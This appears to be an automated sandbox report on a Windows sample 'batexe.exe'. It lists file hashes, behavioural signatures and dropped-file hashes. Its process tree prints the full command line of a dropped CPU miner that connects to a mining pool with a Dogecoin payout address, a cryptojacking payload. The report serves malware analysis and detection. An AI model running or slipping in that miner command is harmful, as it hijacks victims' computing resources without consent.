Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
294s -
max time network
300s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
11/02/2024, 15:18
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 5024 b2e.exe 4344 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4344 cpuminer-sse2.exe 4344 cpuminer-sse2.exe 4344 cpuminer-sse2.exe 4344 cpuminer-sse2.exe 4344 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4480-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4480 wrote to memory of 5024 4480 batexe.exe 85 PID 4480 wrote to memory of 5024 4480 batexe.exe 85 PID 4480 wrote to memory of 5024 4480 batexe.exe 85 PID 5024 wrote to memory of 2020 5024 b2e.exe 86 PID 5024 wrote to memory of 2020 5024 b2e.exe 86 PID 5024 wrote to memory of 2020 5024 b2e.exe 86 PID 2020 wrote to memory of 4344 2020 cmd.exe 89 PID 2020 wrote to memory of 4344 2020 cmd.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6169.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4344
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
13.1MB
MD5832e72524849d48f599eedcad26caa88
SHA106410765cfd68b1ffdf6f229d35436f18f20fb2d
SHA25652528a1fb9a68983393d497adb6fb9d6f7b1f4848d377f0c86638267f94ad569
SHA51222aa5288c5c51c5f9c6c49afee0ab6dbebeeab58637aabb0df6331963f93acb2382818d05e645c48774496aac1df0f429c44ea4cf0f76cd579dfa922d12cc134
-
Filesize
6.1MB
MD5d365a291ef52b895dbcb3ea0124e01aa
SHA1e1a39126b28348ad0e09066d4e0f9522f6e01845
SHA256893d4ebf9cb121b99825af49e4e7abb9ea32dac56bf90aa0ee86124053ad7a74
SHA5128f0ae9ea9326727fb55ad40586a79df623a71c801696f8efbb1ed8dca2642c090d93fc9bb911c43a28d4a3b0f71e0bd457e440e96f3aae70b464825fc0ecbb35
-
Filesize
7.9MB
MD5c4ac32db092be840bf4baad6cc5ffb9d
SHA12280a52b373a54cd5b6ff1a5698ae7be4d4f40a6
SHA256097956b2a22cae0373dc508de9dbfb251b43f4e7b7a027e386f1af16cee23345
SHA512aea419fb6319397a83fb955133f30759dbfa1923395c0791e5f2dc20855f08655fde172a4b0c119797d0944809cf711c7d7cc8d96168999ee5df99ce71eee530
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
512KB
MD5a879c5fd4613dca566d5b1a782690dd5
SHA141c6063b0f0dee953e99713a5326856b55e08366
SHA2563ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20
SHA512e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96
-
Filesize
448KB
MD5ca0b33f54480aa9c590d09f72e3feb31
SHA1d50dc7dd964feb0d7516c3037e7dc7e008420ae5
SHA25667833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d
SHA512266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd
-
Filesize
576KB
MD5bfba8ef054be5bee0da072ed080beac4
SHA1090e6e60a6f0f1e351978e91b99e8dce8e63413f
SHA25681f3865864af4f5ae909e3cb60ec0e0fd028e37909315b0e3de8663a34391be4
SHA51285a8d0b74341c10b3563209566415727a1d1503433908c26c3e861592c397a66afe3cc25bcb31119ec64e15fa078db361bc308474de1ec3f1a8c367d37c622b6
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
384KB
MD5b91f7bb5508b343188ec32dcc7880611
SHA1fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f
SHA25647881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b
SHA512a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0
-
Filesize
125KB
MD591e8fd7400f293816feb017f29d8a0c8
SHA15aa42ee23b126fbf2171e9b8e6408a3d9c790a53
SHA25607699c067df21cff97b903578ce1d67a515089e90dd4e690ae2a1fb7ca80c478
SHA5128fdfd7adf0eb3b19e675f25e5140e546922259aa4a8ac7ed373baaf7b5186e0abe0aa23feb90d3823c1df86dc5c8bc01bbfa26c93bf08622835af89f31e2f4cc
-
Filesize
320KB
MD5e748e3357af6e4674ff8962691273b0d
SHA10acfc30d68a1ef7c6790a79270864448f70f0aa8
SHA25684ff770c784909548dbca7bd2a24c8e82338b142f2d4893023e25c52f70e8d14
SHA5120bd15154698983c85b46810d8fef9092f4d0725882421d6db61f168873af967808c467b924dcb8ee72aaad6e10202edab14916580fc442e14b9d8c85f9d07dcc
-
Filesize
125KB
MD568f740c31f7baefa75663307b515d4d7
SHA1a81289110345da118355c86e4221b0c6f29728bd
SHA25688ce4d896f6fffb76e5c57e12e60a9711978ed25f8c31de429889d33aeabd3a4
SHA512f0c05118daba73d1533fd080bca4041ba54a570695b38d067102380c903e72dc322ad5fb31ec5aebc1f74713037583c236c48b8cff9a66762858fd95736ebe04
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
-
Filesize
125KB
MD5cf3b78f9057d8b3e6e5ffb5158e5e3ef
SHA1e78bb59fce9c265fe057fab6f31bd3519f0ef078
SHA256a679d2a26283e7b2fec76d5e71b81f23d2a1a04d112f23bf79994292d2e571df
SHA512f4ebaae7170da69f533c845d43314d79bf34d565f882569d48e88128ec83697815f927742d8f0574f7e1e77bac0fbf8a9c7e3f8bac3ca86babd50b6359c1027f